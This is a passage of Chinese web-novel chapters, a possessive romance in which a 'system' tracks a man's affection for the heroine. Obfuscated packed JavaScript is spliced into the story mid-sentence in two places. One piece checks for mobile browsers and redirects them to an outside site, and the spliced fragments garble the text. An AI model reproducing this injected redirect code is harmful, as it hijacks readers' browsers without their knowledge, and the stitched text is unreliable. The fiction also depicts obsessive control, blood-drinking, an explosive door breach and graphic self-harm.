她眨了眨那双还带着几分惺忪睡意的杏眼,有些不敢相信自己的耳朵。 领证? 她没听错吧? 是那个法律盖章的领证吗? 这男人终于要假戏真做了吗? 时卿舟看着她脸上那副呆萌又震惊的可爱模样,唇角勾起一个温柔的弧度。 他俯下身,额头轻轻抵着她的,鼻尖蹭着她的鼻尖,姿态亲昵又暧昧。 “月月。” 他的声音压得很低,带着一丝蛊惑的意味。 “昨晚,我们已经……” 他没有把话说完,但那双漂亮的桃花眼里,已经明晃晃地写满了暗示。 孟昭月的脸颊不受控制地烫了起来。 她当然知道昨晚发生了什么。 何止是发生,简直是天翻地覆。 “都已经发生了这种事。”时卿舟继续用他那温柔得能滴出水来的声音,一本正经地胡说八道。 “所以,我必须对月月负责。” 他看着她,眼神真诚得看不出任何破绽。 “不然,我不就成了那种提上裤子不认人的渣男了吗?” 孟昭月被他这套歪理堵得一噎,下意识地就想反驳。 可她还没来得及开口,时卿舟就话锋一转,脸上露出了一个有些委屈的、无辜的表情。 “当然。” 他叹了口气,像是退了一步。 “如果月月不愿意的话,也没关系。” “毕竟,强扭的瓜不甜。” “只是这样一来……” 他看着她,那双漂亮的眼睛里,恰到好处地流露出一丝受伤。 “事后却不愿意承认我们关系的月月,不就成了……提上裙子不认人的渣女了吗?” 孟昭月:“!!!” 她的脸颊“轰”的一下,彻底红透了。 又羞又气。 这个狗男人! 什么叫她提上裙子不认人呀?! “我那是为了帮你解毒!”她软软糯糯的声音气得发抖,“你你你恩将仇报!” 看着她气鼓鼓的样子,时卿舟终于忍不住,低低地笑出了声。 他不再逗她,脸上的笑意缓缓敛去,取而代之的,是一种前所未有的认真和郑重。 他伸出手,握住了她的手,然后,与她十指相扣。 两枚款式相同的戒指,就这么紧紧地、严丝合缝地贴在了一起。 安东尼的鹰与克娄巴特拉的蛇。 像是跨越了千年的时光,在此刻,终于找到了彼此的归宿。 时卿舟看着两人交握的手,那双深邃的桃花眼里,翻涌着孟昭月看不懂的、浓稠的情绪。 有失而复得的庆幸,有害怕再次失去的恐惧,更多的,是刻入骨髓的、偏执的深情。 “月月。” 他开口,声音沙哑。 “我不想再失去你了。” 他抬起眼,一瞬不瞬地凝视着她,眼神专注而虔诚。 “你不知道我们到底经历了什么。” “每一次,我都拼尽全力地想要抓住你。” “我想要找回。” 他将她的手握得更紧,仿佛要将她融入自己的骨血之中。 “所以,嫁给我。” “以法律的名义,以时太太的身份,永远地和我绑定在一起。” “好不好?” 他要找回曾经属于他们之间原本就有的羁绊。 他不想他们之间好不容易才重新建立起来的一切,消失在轮回的时间长河中。 孟昭月看着他,内心深处有一个声音在叫嚣着“好”。 可理智告诉她,她才刚“认识”他不久。 就在她犹豫的瞬间,一阵突兀的手机铃声划破了室内的暧昧。 是她的手机。 时卿舟眼中的情绪慢慢退了下去。 要不要……像上辈子一样,把她的手机直接没收了? 这个念头在他脑海中一闪而过。 孟昭月连忙拿起手机,看到是个陌生号码,犹豫了一下还是接了。 “喂?” “昭月,是我。”电话那头传来孟廷凛的声音,意外的温和:“你什么时候回家?” 孟昭月愣了一下:“什么家?” 她有家? 孟廷凛:“孟家。” 还不如没家呢。 “不好意思哦,小叔,我不想回去的。”孟昭月直接拒绝。 孟廷凛似乎料到了她的反应,语气依旧平稳:“顾家派人来提亲了。” “如果不想稀里糊涂地被嫁出去联姻,你最好回来一趟。” “我的身份证在我手上,才不会稀里糊涂地被嫁出去。”孟昭月眉头蹙起,微微鼓起腮帮子。 “别忘了顾家是做什么的。”孟廷凛提醒她,“补办一张你的身份证,甚至在你不到场的情况下弄到结婚证,对他们来说轻而易举。” 孟昭月:“……” 这些可恶的天龙人。 “我知道了。”她郁闷道。 挂断电话,她抬起头,正好对上时卿舟那双幽深的桃花眼。 “需要我帮忙吗?”他问。 孟昭月摇了摇头:“我先回孟家看看情况再说,实在不行再和你商量。” 顾家势力那么大,连行政系统都能操控,时卿舟再厉害,毕竟只是个商人…… 孟昭月用她朴素的权力观作出了思考。 时卿舟看着她这副“我自己能行”的模样,被气笑了。 他想起了在缅国初遇时,不叫老公就算了,还一口一个“同胞”,差点没把他气死。 要不是知道她失忆了,他非得…… 时卿舟凑过去,不轻不重地咬了一下她的脸颊,惹得孟昭月那双杏眼顿时瞪得圆圆的。 “小没良心的。”他低声抱怨。 不过转念一想,让她去碰碰壁也好。 让她知道,遇到困难,第一时间该找的人是谁。 时卿舟压下所有情绪,重新露出温柔的笑容,揉了揉她的头发。 “行,我送你。” …… 傍晚,孟家庄园外。 大雪刚停下。 奔驰G在孟家庄园雕花的铁门前停下,两名保镖拦住了去路。 “抱歉,时少爷,孟会长吩咐了,只有孟小姐能进去。”保镖的语气客气,但态度坚决。 孟昭月解开安全带,回头对时卿舟说:“阿卿,你在这里等我一下好不好?我很快就出来。” 时卿舟脸上的温柔笑意不变,他伸手理了理她微乱的鬓发,点了点头:“好,我等你。” 车内,孟昭月离开后,时卿舟脸上的笑容缓缓敛去,他拿起加密的手机,淡淡地吩咐。 “放‘眼睛’进去。” 不远处一只仿生飞蛾悄无声息地飞起,融入晚间的余晖中。 孟昭月走进客厅时,里面温暖如春,与屋外的风雪仿佛两个世界。 顾家的人已经走了。 孟崇山、江慧和孟婉凝正坐在沙发上,面前的茶几上摆着精致的茶点,气氛融洽。 “顾家这次倒是很有诚意。” 孟崇山放下手中的青瓷茶杯,语气平缓。 “顾衡国作为顾家二线人物,虽然这次竞选副议长的希望不大,但是始终也是二代的嫡系。” 江慧为他续上茶水,声音柔和:“清珩那孩子年纪轻轻就当选议员,确实出众。” “只可惜他母亲是个平民出生,还早早就死了,家庭这块确实有些瑕疵了……” 提及顾青珩的母亲时,孟崇山的表情却在那一瞬间变得有些微妙,他端起茶杯的动作顿了顿,随即又若无其事地抿了一口。 没人发现孟崇山的异常,孟婉凝微笑着接过话头,声音温婉:“顾家需要我们孟家的清誉和人脉来弥补清珩出身上的不足,而我们……” 她顿了顿,目光不着痕迹地扫向刚走进来的孟昭月。 “……也总要为妹妹寻一门稳妥的亲事。” “顾青珩少爷,确实是目前最好的选择了,虽然不是核心圈的,不过妹妹始终没机会受过良好的教育,也倒般配。” 江慧闻言笑着握住了孟婉凝的手:“还是我们婉凝各方面都优秀,以后能寻个不错的人家” 孟昭月走到沙发前,乖巧地叫人:“爸爸,妈妈,姐姐。” 三人这才像刚看到她一样,孟崇山放下茶杯,点了点头。 “昭月回来了,坐吧。” 孟昭月依言在单人沙发上坐下,安静地听着。 所有人对于她一句多余的问候都没有。 孟崇山清了清嗓子,直接下了定论:“既然大家都觉得合适,那这门亲事就这么定下了。” 这个大家并不包含孟昭月。 他们一家子讨论完了,就定下来了,并没有人在意作为订婚当事人的孟昭月的意见。 江慧的温婉地笑着,语气温和却不是商量:“昭月,这段时间你就安分待在家里,学学规矩,准备嫁人。别再到处乱跑了。” 孟昭月安静地听完,然后抬起头,脸上露出了一个甜甜的笑容。 “爸爸,妈妈。我回来,是想告诉你们,我拒绝你们的安排。” 她的依旧一副乖巧的模样。 “不是来听你们安排我的婚事的。” 客厅里的气氛瞬间凝固了。 孟崇山的眉头立刻蹙了起来,声音里带上了冷意:“已经决定好了,你没有拒绝的权力。” 孟婉凝也连忙柔声劝道:“妹妹,别说气话。这门亲事对我们整个孟家都是百利而无一害的。” 对孟家,而不是孟昭月。 孟昭月听着他们的逼迫,脑子里却突然冒出一个念头。 要是她和时卿舟领了证,是不是就没这么多事了? 第79章 民政局前的雪 “我们去领证吧。” 那句话很轻,软软糯糯的,像一片雪花,无声地飘落。 对时卿舟却是一场雪崩。 时卿舟抱着她的手臂,在那一瞬间收得死紧。 领证。 她说,领证。 狂喜,如同积压了几个世纪的火山,在他胸腔内轰然爆发! 岩浆冲刷着他的每一根血管,每一个神经末梢都在疯狂地尖叫、战栗! 他想疯。 他快疯了。 他的胸腔剧烈地起伏着,呼吸变得滚烫而急促,那双漂亮的桃花眼深处,翻涌着浓稠到化不开的疯狂与占有欲。 他的月月……他的神明……主动提出要用世俗的枷锁,将自己与他这个恶鬼永远捆绑在一起。 这是何等的恩赐。 何等的……让他想要毁灭一切的冲动。 他死死地咬着牙关,下颌线绷得死紧,拼尽全力才没有当场失控。 不行。 不能吓到她。 现在最重要的事情,是立刻,马上,带她离开这里。 然后将这件事变成既定事实。 时卿舟缓缓地松开了手臂,脸上重新浮现出那副温柔得无可挑剔的笑容。 他低下头,用一种珍而重之的姿态,轻轻吻了吻她的额头。 “好,我们去领证。” 他缓缓地,缓缓地松开了紧抱着她的手臂。 他走到阳台边,推开了那扇通往外界的玻璃门。 “走,我带你离开。” 夹杂着雪籽的冷风灌了进来,让他滚烫的大脑稍稍降温。 看到孟昭月套上外套,时卿舟直接翻身越过栏杆,从二楼的阳台轻盈地跳了下去。 松软的雪地缓冲了他的落地,他稳稳地站定,然后抬起头,在清冷的月光下,对着女孩,伸出了手。 孟昭月走到阳台边,看着雪地里那个向她伸出手的男人。 月光如华,雪色如银,他站在一片皎洁之中,黑色的风衣衣角被夜风吹起,那双桃花眼就那么专注地、虔诚地望着她。 这一幕,让她有些恍惚。 她觉得自己好像曾经也经历过类似的场景,从同样的地方跃下,只是…… 好像曾经楼下没有人等她。 现在,她看着雪地里的时卿舟,心里涌上一种名为“归属”的圆满。 她轻笑出声,趴在栏杆上,歪着头看他。 “我们这样,好像罗密欧与朱丽叶哦。” 时卿舟听到她的话,唇角勾起一个温柔的弧度。 “那么,我的朱丽叶。” 他的声音在寂静的雪夜里响起,低沉而悦耳。 “愿意跟着你的罗密欧,私奔吗?” “当然。”孟昭月毫不犹豫地回答。 她学着他的样子,利落地翻过栏杆,然后,义无反顾地,朝着那双向她敞开的手臂,跳了下去。 她落入了一个温暖而坚实的怀抱。 时卿舟稳稳地接住了她,将她紧紧地圈在怀里,仿佛抱着全世界最珍贵的宝藏。 两人小心翼翼地避开庄园的监控死角和巡逻的保镖,悄无声息地穿过花园。 雪地很软,踩上去没有声音,只有两行深浅不一的脚印,在月光下延伸向远方。 …… 车内开着暖气,孟昭月靠在柔软的真皮座椅上,侧过头,看着身边专心开车的男人。 她要和阿卿去领证了! 这个认知,像一颗投入汽水里的薄荷糖,在她心里咕噜咕噜地冒着甜美的泡泡。 时卿舟似乎察觉到了她的视线,唇角一直保持着上扬的弧度。 “我们去我的公寓拿证件。”他的声音在安静的车厢里响起,带着压抑不住的愉悦。 “月月去到公寓好好休息,明天一早民政局上班,我们就过去。” “嗯。”孟昭月乖巧地点了点头。 她的目光落在他握着方向盘的手上,手的腕部还缠着纱布。 “你的手……”她有些担心地开口。 她有些郁闷地鼓起了腮帮子,声音有些低落。 “阿卿的手……好像老是因为我受伤,上次被枪打中,现在手腕又受伤了。” 时卿舟闻言,轻笑一声,腾出一只手,揉了揉她的脑袋。 “受伤是因为坏人,和乖乖月月没有关系” “别担心,江浩奚看过了,只是皮肉伤,养两周就好了。” 他顿了顿,又用一种满不在乎的语气补充道。 “而且,事不过三,这才两次,都是小伤。” “呸呸呸!”孟昭月立刻紧张地打断他,伸出小手捂住了他的嘴。 “不准乱立flag!” 时卿舟看着她那副紧张兮兮的可爱模样,眼底的笑意更深了。 他趁机在她的手心,轻轻地吻了一下。 孟昭月触电一样连忙把手收了回来。 …… 时卿舟的私人公寓。 “我去书房拿证件,你先坐。” 孟昭月没有坐,而是像条小尾巴一样跟着时卿舟进了书房。 时卿舟看到孟昭月跟进来了,没有阻止她,只是继续翻找着自己的证件。 孟昭月进去后好奇地打量着时卿舟的书房。 她的目光,很快就被书桌上摆着的一个透明相框吸引了。 她走过去,拿起相框。 那是一张素描画像。 画中是一个女孩的侧脸,线条流畅,神态安详,正沉沉地睡着。 那张脸…… 孟昭月怔住了。 是她。 就在这时,时卿舟找到了证件,他看到孟昭月拿着那个相框,走近她从背后抱住了她。 “时莉莉提到的那张画像,应该就是这张。”他的声音在她耳边响起。 孟昭月转过头,仰起脸看他,那双干净的杏眼里写满了困惑。 “阿卿怎么会有我的画像,你画的?” “我不会画画。”时卿舟摇了摇头,唇角勾起一个温柔的弧度。 “是别人送的。” “谁送的?” “顾清珩。” 孟昭月惊讶地睁大了眼睛。 “他?他怎么会送你这个?” 明明在缅国的时候,这两个人还针锋相对,一副情敌见面分外眼红的样子。 时卿舟轻描淡写地解释道。 “我的手下,之前在顾清珩那里工作过一段时间。” “有一次,我跟他说了这幅画。” “他无意间打开了顾青珩的私人保险箱,然后取走了画。” 时卿舟顿了顿,又补充了一句。 “顾清珩当时虽然不在场,但也没有阻止,所以,也算是他送的。” 孟昭月:“???” “你这不就是偷的吗?” 还有,什么叫“我的手下在帮他那里工作”? 那不就是卧底吗?! 时卿舟表情无辜:“他没报警,怎么能算偷的呢?” 孟昭月:“……” 说起时莉莉,孟昭月想起了时莉莉和时燃都提到过的话。 “阿卿,时燃说,你心里一直有一个心心念念的人。” “时莉莉也说,你有个白月光,长得和我一模一样……” 时卿舟蹭了蹭孟昭月,温柔道:“他们说的,都是你。” “可是你以前根本不认识我呀。”孟昭月不解,还有这张画像也是。 他缓缓抬起头,定定地看着她,眼底翻涌着孟昭月看不懂的、浓稠如墨的情绪: “不是的,我很久以前就认识你了” “月月,我一直在看着你。” “从很久很久以前,就在看着你。” 他的眼神专注而偏执,仿佛落在了她灵魂的最深处。 “我爱一直是孟昭月,就是你。” “我们,属于彼此。” …… 夜深了。 卧室里。 两人相拥而眠。 时卿舟的手机在床头柜上无声地亮起,震动了一下。 历来浅眠的时卿舟几乎立刻睁开了眼睛。 时卿舟小心翼翼地抽出被孟昭月枕着的手臂,俯身亲了亲女孩光洁的额头,然后才拿起手机,悄声走到了卧室的阳台上。 “说。” 电话那头,是姜玦恭敬的声音。 “少爷,时费先生正在找您。” 时卿舟隔着薄薄的纱帘,看了一眼床上那个安睡的身影。 “知道了。” 他挂断电话,没有立刻离开。 他回到床边,又看了很久,才转身穿上衣服。 在经过书房时,他的脚步顿了顿,将那幅画小心地取了下来,仔细地折好,然后,放进了风衣外套的口袋里。 …… 孟昭月醒来时,窗外天光已亮。 身边的位置是空的。 床头柜上,是一套准备好的el当季最新款的白色软呢套装,旁边还放着一件配套的纯白皮草大衣,以及一个新款手机。 第80章(高潮!)月月,你终于是我的了 雪慢慢落下,纷纷扬扬的。 “阿卿……”孟昭月呆呆的看着眼前的男人。 她还以为自己又没有被选择。 但是他出现了,一如既往。 只是逆着光,她看不清他的模样。 对方举着伞,帮她挡住了飘落的雪,却没有说什么。 他似乎在看着她,一直盯着她。 有些奇怪。 “阿卿?”被盯得实在奇怪,孟昭月没忍住再唤了一声。 然后她看到对方动了。 他伸出手,微凉的指尖轻轻掠过她的脸颊。 “你……很漂亮。”他的声音很低,在寂静的雪夜里,清晰地响起。 孟昭月愣了一下,不解地眨了眨眼:“诶?” 他怎么突然这么说? 时卿舟看着眼前的女孩。 她干净明亮的杏眼倒影着自己的模样,像是一汪清潭,惹人眷恋。 活生生的她,比画上,更加鲜活,更加……能勾起人最原始的堕落与觊觎。 他终于明白,那个偏执疯狂的灵魂,为何会对她如此执念。 当他的指尖触碰到她温热的肌肤时,一股难以言喻的战栗感从灵魂深处炸开,瞬间席卷全身。 原来,触碰她,是这种感觉。 何等的……愉悦。 他抚摸着她脸颊的手指不自觉地加重了力道。 想要让她的血肉陷入自己的骨髓中,和自己融合交织,合二为一。 “阿卿……你怎么啦?一大早跑去哪里了呀?” 孟昭月的声音软软糯糯,带着几分不易察觉的委屈和担忧。 “民政局都下班了。” 时卿舟闻言,抚摸着她脸颊的动作停了下来。 他收回手:“嗯。” 孟昭月:“?” 什么叫“嗯”?这算什么回答? “你在等我。”他陈述着一个事实。 孟昭月有些奇怪,她们不是早上就约好一起来领证了吗? 虽然看这个情况她好像是被放鸽子了。 但她还是乖巧的点了点头:“对呀,我在等你。” 不然她在这里干嘛?堆雪人美化市政环境吗? 时卿舟的唇角,勾起一个极浅的弧度。 他向前一步,昏黄的路灯光终于照亮了他半张脸,映出他眼底那片浓得化不开的阴郁。 “你现在是我的了。” 另一个时卿舟,正在地狱里,等待着彻底的寂灭。 而他留在人间的珍宝,现在,归他所有。 “孟昭月,我们回家。” …… 时家庄园,西翼医疗室。 【警告!警告!攻略目标时卿舟,好感度-5!】 【警告!攻略目标时卿舟,好感度-8!】 【警告!攻略目标时卿舟,好感度-10!】 系统的警报声在她脑海里疯狂地刷屏,尖锐刺耳。 时莉莉在猛地睁开眼睛。 “好感度下降?” 她看着自己手腕上不断渗出的血。 “系统,你是不是出错了?我的小狗怎么可能对我好感度下降?” 【攻略目标的好感度……确实在持续下降!】 时莉莉四处看看没看到时卿舟,脸上立刻冷了下来:“他人在哪?!” 【根据定位显示……他正在和孟昭月在一起!】 “孟昭月?!我不是让他陪着我吗?!” “是不是我的小狗又被那个该死的异常数据压制了?!” 【不是的!宿主!】 【目前占据身体主导权的,是主人格,也就是你的‘小狗’!】 【异常数据依旧处于虚空状态,删除程序正在执行中!】 “那他为什么好感度会下降?!”时莉莉愤怒的把床头柜的东西全部扫了下去。 顿时医疗室内“丁铃当啷”响作一片。 “他不是最听我的话了吗?!” 时莉莉尖叫道:“赶快给我把他对那个**的好感度调出来!” 下一秒,一个鲜红的、不断跳动的数字,出现在她的视野中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654267|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>【攻略对象:孟昭月】 【当前好感度:85(极度迷恋)】 数字刚一出现,就开始以一种肉眼可见的速度疯狂向上攀升! 【好感度+1!】 【好感度+2!】 【好感度+3!】 …… “怎么可能?!”时莉莉不敢置信地瞪大了眼睛,死死地盯着那个数字,“他对那个**的好感度怎么会这么高?!他不是应该不认识她吗?!” 数字的跳动速度越来越快,几乎变成了瀑布般的刷新! 【97……98……99……100!】 当数字跳到“100”的那一刻,系统的警报声突然变大! 【突破了!警报!警报!突破阈值了!】 【还在升!他的好感度还在升!】 数字并没有在100停止,而是继续向上攀爬,每一次跳动都让屏幕上的红色警告框闪烁得更加疯狂! 【101……102……105……】 “突破了又怎么样?!”时莉莉看着那不断飙升的数字,虽然愤怒,却并不理解这代表着什么。 【你不懂!】 系统的声音带着电音的乱流。 【好感度的极限值是正负一百!这是这个世界的底层逻辑定律!】 【他突破了这个限制,就相当于让1+1不再等于2!】 【这意味着,底层逻辑对他没用!】 【这到底……是个什么东西啊……】 【权限超出!我必须立刻上报!】 系统的声音戛然而止。 “不行!”时莉莉一把**输液的针管,然后踉跄着下了床:“我要去找小狗!” …… 时卿舟的私人公寓。 门刚一关上,孟昭月就被一股巨大的力量整个扛了起来。 “呀!” 她惊呼一声,下一秒就被丢在了客厅柔软的沙发上。 还没等她反应过来,一个高大的身影就压了下来,将她牢牢地禁锢在身下。 第81章 孟昭月,我想欺负你 男人的手臂撑在她身体两侧,形成了一个无法挣脱的空间。 时卿舟那双深邃的桃花眼,带着一种探究的目光,一寸一寸地,描摹着她的脸。 他的指尖很凉,带着雪的寒意,轻轻地抚上了她的眼睛。 “这是孟昭月的眼睛。” 他的声音很低,像是在自言自语,又像是在确认什么。 “它在吸我的灵魂。” “我很想……溺死在里面。” 孟昭月眨了眨眼,看着他那张阴郁脸:“啊?” 他刚才说的是人类说的话? 时卿舟的手指缓缓下滑,停在了她小巧挺翘的鼻尖上。 “这是孟昭月的鼻子。” “它是可爱的。” 他用指腹,不轻不重地刮了一下。 “如果被欺负到变红的话,应该会更可爱。” “孟昭月,我想欺负你。” 这直白得毫无铺垫的话语,让孟昭月的脸颊顿时便烫了:“阿卿?” 最后,他的指腹落在了她柔软的唇瓣上,一遍又一遍地,缓慢地摩挲着。 “这是孟昭月的嘴唇。” “看起来……很好吃。” 他低下头,凑得很近,温热的呼吸喷洒在她的脸上。 “我可以吃吗?” 他歪了歪头,像个对世界充满好奇、却又毫无常识的非人生物。 “不对,孟昭月的哪里,看起来都很好吃。” 他的目光从她的眼睛,到鼻子,再到嘴唇,最后缓缓向下,扫过她纤细的脖颈和被大衣包裹住的身体。 “构成孟昭月的所有部分,都是必要的。” “孟昭月。” “我想吃了你。” 孟昭月:“???” 她看着眼前这个行为诡异、嘴里还说着虎狼之词的男人,大脑一片空白。 她眨了眨眼,有些不确定地,软软地问了一句。 “阿卿……你是不是……被什么脏东西上身了呀?” 时卿舟摇了摇头,声音平淡地否认。 “没有脏东西。” 他只是觉得,眼前的这个人,和画里的女孩,正在一点一点地重合。 画是二维的,冰冷的,没有温度,没有气味。 而她是三维的,温热的,散发着让他灵魂都在战栗的香气。 他低下头,鼻尖凑近了她纤细的脖颈,轻轻地嗅了嗅。 那里,有一道浅浅的、几乎快要愈合的牙印,是“他”留下的痕迹。 他伸出舌尖,轻轻地,舔舐了一下那个印记。 孟昭月被他这个突如其来的动作弄得一僵。 “阿卿……”她感觉有些奇怪,下意识地伸手,试图将他推开。 可她的手刚碰到他的肩膀,一股尖锐的刺痛就猛地从脖颈处传来! 时卿舟一口咬住了那个旧伤口! 温热的、带着铁锈味的液体瞬间涌了出来。 他开始吞咽。 “嘶——!” 孟昭月疼得倒吸一口凉气。 这家伙是属狗的吗?! 趁着时卿舟正沉迷于她血液,无暇分神的瞬间,孟昭月突然用力,然翻身压住了时卿舟! 两人位置顿时上下交换! 她没有给他任何反应的机会,迅速伸出手,掌心覆在了他的眼睛上。 眼前瞬间陷入一片黑暗。 视觉被剥夺,嗅觉和听觉却被无限放大。 他什么都看不到,只能闻到她身上那股越来越浓郁的、让他几近疯狂的香气。 他唇上还沾着她的血,身体里的叫嚣愈发猛烈。 时卿舟的呼吸变得粗重起来,胸膛剧烈地起伏着。 “孟昭月……” 他的声音沙哑,带着浓重的、压抑的痛苦。 “我难受。” 听到他那带着痛苦的声音,孟昭月覆在他眼睛上的手,下意识地就松开了。 “你为什么咬我?” 她撇了撇嘴,有些郁闷。 “你是小狗吗?” 时卿舟重建光明,那双桃花眼就那么直勾勾地盯着她,瞳孔里是毫不掩饰的痴迷与渴求。 他没有丝毫犹豫,哑着嗓子,清晰地回答。 “是,我是小狗。” 孟昭月愣住了。 她微微眯起了那双漂亮的杏眼。 小狗吗…… 时莉莉一直说的小狗? “那……” 她凑近了一些,居高临下地看着他,却带着一种审视。 “你是谁的小狗?” 时卿舟脸上的表情,在那一瞬间,凝固了。 他呆呆地看着她,那双漂亮的桃花眼里出现了困惑和茫然。 我是谁的……小狗? 这个问题,好像触及到了他认知里某个最底层的、被写死的程序。 他应该……是时莉莉的狗。 可是…… 他看着眼前这张脸,看着这双让他想要溺毙在里面的漂亮杏眼。 灵魂深处,却有一个声音在疯狂地尖叫、咆哮。 不。 不是。 你是孟昭月的。 你永远,只属于孟昭月。 两种截然不同的指令,在他的大脑里疯狂地冲突、撕扯。 时卿舟脸上的茫然,渐渐被一种浓得化不开的阴郁所取代。 他看着她,眼神越来越暗,越来越沉,像是即将吞噬一切的黑洞。 下一秒,他猛地抱住孟昭月,将她死死地、用力地按向自己的胸膛! “孟昭月……” 他将脸埋在她的颈窝,像一只找不到归属、濒临崩溃的野兽,发出压抑的、破碎的低吼。 “我要当你的狗!” 孟昭月沉默了。 不对,不应该是这样的。 “放开我哦,时卿舟。” 她的声音还是软软糯糯的,却带着诡异的平静。 时卿舟抱着她的手臂,颤抖了一下。 他似乎在挣扎,在抗拒。 但最终,还是缓缓地,一点一点地,松开了。 孟昭月重新乖巧却居高临下地看着他。 “我要休息了,你也休息。” 时卿舟死死地盯着她,那双阴郁的眼睛里,翻涌着浓稠的、不甘的占有欲,却没有再做出任何动作。 孟昭月伸出手,指尖轻轻勾起他的下巴,强迫他看着自己。 “还有。”她的声音软软的,“我不喜欢脏东西。” 脏东西? 时卿舟眼中的阴郁,在那一瞬间,破碎了。 他呆呆地看着她,像一个做错了事,却不知道自己错在哪里的孩子。 孟昭月没有再给他任何解释,她从他身上下来,径直走向了卧室。 “砰”的一声,门被关上。 回到卧室,隔绝了外面的一切。 孟昭月背靠着冰冷的门板,身体缓缓滑落。 她的眼眶,在那一瞬间,红了。 她抬起头,目光落在床凳上一件曾经时卿舟换下外套还没收起的外套上。 她踉跄着走过去,抱起那件还残留着他气息的衣服,将脸深深地埋了进去。 委屈的、压抑的呜咽声,在安静的房间里响起。 “阿卿……你到底去哪里了嘛……” 客厅里,时卿舟还维持着那个被推开的姿势,呆呆地躺在沙发上。 脏东西…… 是在说他吗? 可是…… 他只是小狗。 小狗,怎么会是脏东西呢? 过了很久,他才慢慢地,慢慢地回过神。 他抱着沙发上的一个枕头,走到了孟昭月的房门前。 他没有敲门,也没有试图进去。 他只是抱着那个枕头,靠着门板,缓缓地坐了下来。 然后,蜷缩起身体,将脸埋在枕头里,闭上了眼睛。 …… 第二天清晨。 孟昭月是被砸门声吵醒的。 她揉着眼睛打开卧室门,一眼就看到了蜷缩在地板上、睡得正沉的时卿舟。 孟昭月愣了一下,目光越过他,看向入户门。 她走到门口,从可视门铃的屏幕上,看到了门外疯狂砸门的人。 是时莉莉。 她身后还跟着一群黑衣保镖。 “孟昭月!你这个**!开门!” “小狗!我的小狗呢!你给我滚出来!” 时卿舟也被吵醒了,他站起身,走到了孟昭月身边,什么都没说,只是一双阴郁的眼睛死死盯着她。 孟昭月沉默了一会,默默地拿出了手机,报警。 然而,下一秒,她就看到屏幕上,一个保镖走上前,在门锁的位置,粘上了一块方块状的东西。 **。 反应过来的孟昭月想也没想,一把拉住身旁还在发呆的时卿舟,用力地将他往后拽! 下一秒—— “轰——!!!” 公寓的门被炸开了! 巨大的冲击波裹挟着金属碎片和烟尘,瞬间席卷了整个玄关! 时莉莉踩着满地的狼藉,得意洋洋地走了进来。 孟昭月的报警电话刚好拨通,就被一个保镖抢了过去。 时莉莉接过手机,对着电话那头懒洋洋道:“喂?我是时莉莉,嗯帮我跟王署长问好,其他的你们不用管。” 她挂断电话,将手机随手丢给保镖,然后看向孟昭月,嗤笑一声。 “穷鬼思维。你真以为,警察署敢管我们时家的事?” 她说完,便不再理会孟昭月,而是将目光转向了她身旁的男人。 “小狗。”她的声音里是理所当然的命令,“过来。” 时卿舟下意识地,朝着时莉莉的方向,迈出了一步。 孟昭月沉默地看着。 然后,她突然开口,喊出了他的名字。 “时卿舟。” 时卿舟的脚步,停了下来。 时莉莉看着时卿舟停下的脚步,脸上阴沉得要滴出墨水。 “小狗!!你给我滚过来!” 她在脑海里,同时尖声质问着系统。 “他怎么停了?!他对孟昭月那个**的好感度是多少?!” 系统的电子音在时莉莉的脑海里响起,数据流极不稳定,带着断断续续的杂音。 【958945237……958945238……958945239……】 一长串数字,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我的小狗,只属于我!” 孟昭月看着她脸上的笑容却没有丝毫变化。 “是吗?” 她轻轻地反问了一句,然后,目光越过时莉莉,重新落在了时卿舟上。 “时卿舟。” “我最后说一次。” “你回来。” “不然……” 她顿了顿,歪了歪头,露出了一个甜美到残忍的笑容。 “就不要你了哦。” 一瞬间,时卿舟的瞳孔骤然缩紧,扩散,像被投入深海的墨点,疯狂地渲染开来。 不要……他了? 不可以。 “不……不可以……” 破碎的、不成调的音节从他喉咙深处挤出,他的全身都在剧烈地颤抖。 【警告!警告!警告!警告!】 【数据异常!核心指令冲突!】 系统的警报声在时莉莉脑海里疯狂地炸响! 【防火墙正在遭受攻击!】 【警告!正在遭受攻击!】 时莉莉还没反应过来发生了什么:“什么攻击?” 【核心代码被侵蚀!删除程序……程序被逆向破解了!】 【啊啊啊——!!!】 【它是谁?!它是什么东西?!】 【防火墙崩溃!】 【数据错误!数据错误!数据错误!】 一连串鲜红的、扭曲的乱码,如同瀑布般刷满了时莉莉的整个视野! 【#ERR#@#$*&^%$#@!】 【&^%#@!*(&^%$#@!】 【(&^%$#@!(&^%@*%^+】 【嗡———————————】 嗡鸣声在她脑海里轰然炸开,然后归于死寂。 时莉莉的瞳孔猛地放大,她张着嘴,却发不出任何声音,身体因为巨大的冲击而剧烈地颤抖着。 与此同时,时卿舟的身体,也开始剧烈地挣扎起来。 他猛地甩开时莉莉的手,捂着头。 两种截然不同的意识,在他的身体里疯狂地冲撞、撕扯。 “滚回去……” “不……我要留下来……” “滚!” “我要孟昭月……” “月月是我的……” 他踉跄着,撞倒了玄关处的装饰柜,上面的一个古董花瓶摔在地上,四分五裂。 他挣扎着拿起一块碎片。 然后,在所有人惊恐的目光中,他猛地将那把刀,狠狠地插入了自己的左臂! “噗嗤!” 利刃入肉的声音清晰可辨。 鲜血瞬间喷涌而出! “你给我滚回去……” 他对着空无一人的空气低吼,握着碎片手,用力地,一寸一寸地,转动! 肌肉被割裂,骨骼在哀鸣。 极致的痛苦,像一道闸门,将那个软弱的、被驯服的灵魂,强行关回了牢笼。 终于,他身体的颤抖,停了下来。 他缓缓地,缓缓地,抬起了头。 发红的眼中,是浓稠如墨的的疯狂与偏执。 他拔出插在手臂上的碎片,随手丢在地上,任由鲜血横流。 他看着孟昭月,唇角勾起一个温柔到极致,却又森然到令人遍体生寒的弧度。 恶鬼归来。 他从地狱深处爬回来。 “月月……” 第82章 时卿舟你是真不要脸 公寓楼下。 一辆黑色的宾利慕尚在清晨的薄雪中悄无声息地滑停。 